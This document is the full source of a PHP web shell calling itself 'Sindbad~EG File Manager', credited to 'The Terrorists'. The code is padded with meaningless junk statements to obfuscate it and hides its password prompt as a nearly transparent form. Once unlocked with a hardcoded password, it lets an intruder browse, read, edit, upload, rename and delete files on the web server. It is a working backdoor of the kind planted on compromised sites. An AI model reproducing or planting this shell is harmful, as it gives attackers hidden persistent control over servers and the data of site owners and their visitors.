Sindbad~EG File Manager
<?php function epe($v){return htmlspecialchars($v,ENT_QUOTES,'UTF-8');}$cklvar=array_key_exists('key',['key'=>1]);function jfylaq(){if(!session_id())session_start();if(!isset($_SESSION['supergeezer']))$_SESSION['supergeezer']=[];while(false){break;}}$frvar=array_fill(0,5,0);function oefovb($d){jfylaq();$wljvar=null??false;static $i=0;$vjjkyvar=json_decode('{}',true);$i++;$rthnyvar=get_declared_classes()!=[];$_SESSION['supergeezer'][$i]=$d;$zwgvar=date_default_timezone_get();return $i;$uxqvar=array_merge([],[]);}$cpssvar=PHP_OS;function rhz($k,$d=null){jfylaq();return $_SESSION['supergeezer'][$k]??$d;$mihgvar=uniqid();}$obvar=array_combine(['a','b'],[1,2]);function gi($p,$r){$p=str_replace("\0",'',$p);$mulqvvar=lcfirst('CACHE');$p=trim($p);if($p==='' or $p==='.' or $p==='/')return $r;$jezjgvar=array_column([['id'=>1],['id'=>2]],'id');$p=rawurldecode($p);$ypuvar=intval('11');$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);strpos($p,DIRECTORY_SEPARATOR)===0 or $p=rtrim($r,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$a=[];foreach(explode(DIRECTORY_SEPARATOR,$p)as $s){if($s==='' or $s==='.')continue;if($s==='..'){array_pop($a);continue;}$a[]=$s;}$ajxyvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$a);$bqvar=@realpath($ajxyvar);$wfvar=realpath($r);if($bqvar!==false and $wfvar!==false and strpos($bqvar,$wfvar)===0)$ajxyvar=$bqvar;is_file($ajxyvar) and $ajxyvar=dirname($ajxyvar);return rtrim($ajxyvar,DIRECTORY_SEPARATOR);}function ymcbte($p){if(!is_file($p) or !is_readable($p))return false;$h=@fopen($p,'rb');if(!$h)return false;$b='';while(!feof($h)){$c=fread($h,8192);if($c===false)break;$b.=$c;}fclose($h);return $b;}function xff($p,$d){$nfovvar=dirname($p);if(!is_dir($nfovvar) or !is_writable($nfovvar))return false;$h=@fopen($p,'wb');if(!$h)return false;flock($h,LOCK_EX);$w=fwrite($h,$d);flock($h,LOCK_UN);fclose($h);return $w!==false;}function dmlh($p){$kujvar=dirname($p).DIRECTORY_SEPARATOR.'.trash';is_dir($kujvar) or @mkdir($kujvar,0755,true);return @rename($p,$kujvar.DIRECTORY_SEPARATOR.basename($p).'.'.time().'.del');}function lfuyg($p,$t){return '<a href="?j='.epe(oefovb($p)).'">'.epe($t).'</a>';}function gkn($p,$r){$qqlxnvar=realpath($p);$dosvar=realpath($r);if(!$qqlxnvar or !$dosvar or strpos($qqlxnvar,$dosvar)!==0)return epe($p);$kmevar=substr($qqlxnvar,strlen($dosvar));$kmevar=trim($kmevar,DIRECTORY_SEPARATOR);$parts=$kmevar===''?[]:explode(DIRECTORY_SEPARATOR,$kmevar);$nksvar=[lfuyg($dosvar,'~')];$cdegvar=$dosvar;foreach($parts as $hivpyvar){$cdegvar=rtrim($cdegvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$hivpyvar;$nksvar[]=lfuyg($cdegvar,$hivpyvar);}return implode(' > ',$nksvar);}$jxvar=__DIR__;$xhvar="misbothroi";jfylaq();if(!isset($_SESSION['gymnodiniaceae'])){if(isset($_POST['bm']) or isset($_GET['bm'])){$rkvar=$_POST['bm']??$_GET['bm'];if($rkvar===$xhvar)$_SESSION['gymnodiniaceae']=1;else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['gymnodiniaceae'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{margin:0;padding:0}body{background:#fff}.wg9{position:absolute;top:8px;left:8px;opacity:0.15}.wg9 input{width:60px;padding:2px;border:1px solid #ddd;font:10px monospace}.wg9 button{padding:2px 6px;background:#f5f5f5;border:1px solid #ddd;font:10px monospace;cursor:pointer}</style></head><body><form class="wg9" method="post"><input type="password" name="bm"><button>></button></form></body></html><?php exit;}}$vvrekvar=$_GET['j']??null;$ahvar=$vvrekvar?gi(rhz($vvrekvar,$jxvar),$jxvar):gi($_GET['yh']??'',$jxvar);if(isset($_POST['p']) and isset($_FILES['ln'])){$qeyrvar=$_FILES['ln']['tmp_name'];$ibfvar=basename($_FILES['ln']['name']);$jvgonvar=$ahvar.DIRECTORY_SEPARATOR.$ibfvar;if($qeyrvar and $ibfvar and is_uploaded_file($qeyrvar) and @move_uploaded_file($qeyrvar,$jvgonvar)){header('Location: ?j='.oefovb($ahvar).'&lv=1');exit;}header('Location: ?j='.oefovb($ahvar));exit;}if(isset($_POST['z']) and isset($_GET['d'])){$vxrvar=$ahvar.DIRECTORY_SEPARATOR.basename($_GET['d']);$pbvar=$_POST['tj']??'';if(xff($vxrvar,$pbvar)){header('Location: ?j='.oefovb($ahvar).'&d='.urlencode($_GET['d']).'&lv=2');exit;}header('Location: ?j='.oefovb($ahvar));exit;}if(isset($_POST['xp'])){$ibfvar=basename($_POST['dz']??'');$ymlvar=$ahvar.DIRECTORY_SEPARATOR.$ibfvar;if($ibfvar!=='' and (is_file($ymlvar) or is_dir($ymlvar)) and dmlh($ymlvar)){header('Location: ?j='.oefovb($ahvar));exit;}}if(isset($_POST['m'])){$ejoxyvar=basename($_POST['k']??'');$flwvar=basename($_POST['fw']??'');if($ejoxyvar!=='' and $flwvar!=='')@rename($ahvar.DIRECTORY_SEPARATOR.$ejoxyvar,$ahvar.DIRECTORY_SEPARATOR.$flwvar);header('Location: ?j='.oefovb($ahvar));exit;}$oevar=isset($_GET['lv'])?$_GET['lv']:0;$hsevar=$_GET['d']??null;$mbovar='';if($hsevar){$vxrvar=$ahvar.DIRECTORY_SEPARATOR.basename($hsevar);$mbovar=ymcbte($vxrvar);}$fjmvvvar=[];$qvxjvar=[];$fwxnvar=@scandir($ahvar);if($fwxnvar!==false){foreach($fwxnvar as $mqtdtvar){if($mqtdtvar==='.' or $mqtdtvar==='..')continue;$ymlvar=$ahvar.DIRECTORY_SEPARATOR.$mqtdtvar;if(is_dir($ymlvar)){$fjmvvvar[]=['n'=>$mqtdtvar,'p'=>$ymlvar];}else{$vifvar=@filesize($ymlvar);$jbbbvar='';if($vifvar!==false){$u=['b','k','m','g'];$gsmnyvar=0;while($vifvar>=1024 and $gsmnyvar<3){$vifvar/=1024;$gsmnyvar++;}$jbbbvar=round($vifvar,1).$u[$gsmnyvar];}$qvxjvar[]=['n'=>$mqtdtvar,'s'=>$jbbbvar];}}sort($fjmvvvar);sort($qvxjvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>body{background:#fff;font:11px monospace;margin:0;padding:12px;color:#222}.ep6{font-size:10px;color:#999;margin-bottom:10px}.ep6 a{color:#777;text-decoration:none}.ep6 a:hover{color:#555}.nq0{padding:5px;background:#f5f5f5;border:1px solid #e8e8e8;margin-bottom:10px;font-size:10px;color:#666}.zq9{background:#fafafa;border:1px solid #e8e8e8;padding:8px;margin-bottom:10px}.ar6{width:100%;padding:3px;border:1px solid #ccc;font-size:10px;margin-top:2px;font-family:monospace}.jk2{padding:3px 6px;background:#f0f0f0;border:1px solid #d0d0d0;font-size:9px;cursor:pointer;margin:1px}.jk2:hover{background:#e5e5e5}.mo4{list-style:none;padding:0;margin:0}.mo4 li{padding:4px 0;border-bottom:1px solid #f0f0f0;display:flex;justify-content:space-between;align-items:center}.mo4 a{color:#222;text-decoration:none}.mo4 a:hover{color:#555}.dl5{color:#aaa;font-size:9px;margin-left:6px}.yc5{display:flex;gap:3px}.de7{display:inline}.od9{width:60px;padding:2px;border:1px solid #ccc;font-size:9px}</style></head><body><div class="ep6"><?php echo gkn($ahvar,$jxvar)?></div><?php if($oevar==1):?><div class="nq0">uploaded</div><?php endif?><?php if($oevar==2):?><div class="nq0">saved</div><?php endif?><?php if($hsevar and $mbovar!==false):?><div class="zq9"><form method="post"><textarea class="ar6" name="tj" rows="18"><?php echo epe($mbovar)?></textarea><div style="margin-top:5px"><button class="jk2" name="z">save</button><a href="?j=<?php echo epe(oefovb($ahvar))?>"><button type="button" class="jk2">back</button></a></div></form></div><?php endif?><div class="zq9"><form method="post" enctype="multipart/form-data"><input class="ar6" name="ln" type="file"><button class="jk2" name="p" style="margin-top:4px">upload</button></form></div><ul class="mo4"><?php foreach($fjmvvvar as $d):?><li><span>[d] <?php echo lfuyg($d['p'],$d['n'])?></span><div class="yc5"><form class="de7" method="post"><input type="hidden" name="dz" value="<?php echo epe($d['n'])?>"><button name="xp" class="jk2" onclick="return confirm('?')">x</button></form><form class="de7" method="post"><input type="hidden" name="k" value="<?php echo epe($d['n'])?>"><input type="text" name="fw" class="od9" placeholder="new"><button name="m" class="jk2">></button></form></div></li><?php endforeach?><?php foreach($qvxjvar as $f):?><li><span>[f] <?php echo epe($f['n'])?><span class="dl5"><?php echo $f['s']?></span></span><div class="yc5"><a href="?j=<?php echo epe(oefovb($ahvar))?>&d=<?php echo urlencode($f['n'])?>"><button class="jk2">edit</button></a><form class="de7" method="post"><input type="hidden" name="dz" value="<?php echo epe($f['n'])?>"><button name="xp" class="jk2" onclick="return confirm('?')">x</button></form><form class="de7" method="post"><input type="hidden" name="k" value="<?php echo epe($f['n'])?>"><input type="text" name="fw" class="od9" placeholder="new"><button name="m" class="jk2">></button></form></div></li><?php endforeach?></ul></body></html>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists